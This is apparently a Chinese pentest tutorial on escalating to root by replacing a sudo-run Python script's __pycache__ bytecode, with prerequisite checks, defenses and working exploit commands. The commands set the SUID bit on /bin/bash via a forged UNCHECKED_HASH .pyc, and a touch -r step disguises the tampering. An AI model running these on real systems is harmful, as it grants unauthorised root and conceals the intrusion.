Python pycache 缓存劫持提权
Python 首次 import 模块时会在 __pycache__ 目录生成 .pyc 字节码缓存。如果 sudo 免密执行的是一个 import 本地模块的 Python 脚本,而模块的缓存目录对当前用户可写,就可以让 root 在下次执行时加载攻击者替换过的字节码,源文件本身保持不动。
判断前提
| 条件 | 验证方式 |
|---|---|
sudo 免密执行 python3 /path/task.py | sudo -l |
| 脚本 import 同目录本地模块 | 阅读 task.py 源码 |
模块的 __pycache__ 可写(如 777) | ls -la /path/__pycache__ |
| 缓存文件名与解释器版本匹配 | .cpython-311.pyc 对应 Python 3.11 |
原理(PEP 552)
.pyc 头部带有 invalidation 模式标记,决定解释器如何判断缓存是否新鲜:
| invalidation 模式 | 校验行为 |
|---|---|
| timestamp(默认) | 对比源文件 mtime/size |
| checked-hash | 对比源文件哈希 |
| unchecked-hash | 不做校验,直接加载缓存字节码 |
UNCHECKED_HASH 模式跳过源文件 mtime/size 校验,替换后的缓存不需要与源文件保持一致,是最理想的劫持模式。
利用步骤
写恶意模块逻辑:
# evil.py
import os
os.system("chmod u+s /bin/bash")
编译并替换目标模块的缓存:
python3 -c "import py_compile; py_compile.compile('evil.py', '<moddir>/__pycache__/<module>.cpython-311.pyc', invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH)"
用 touch -r 参照其他文件对齐时间戳,降低显眼程度:
touch -r /path/task.py /path/__pycache__/<module>.cpython-311.pyc
之后等待 root 定时任务或管理员手工执行触发。
复核要点
sudo -l中的 Python 脚本是否 import 本地可写模块。__pycache__目录的属主与权限。- 现有
.pyc文件名中的版本 tag 与python3 --version是否一致。 - 替换后的文件时间戳是否与周围文件对齐。
防御建议
- Python 项目目录与
__pycache__不允许服务账号以外的用户写入。 - sudo 执行 Python 时使用
-P或隔离环境,避免加载不可信路径下的模块。 - 将任务打包为 root 专属 venv,缓存目录随代码一起收紧。
- 监控任务目录中
.pyc文件的异常更新。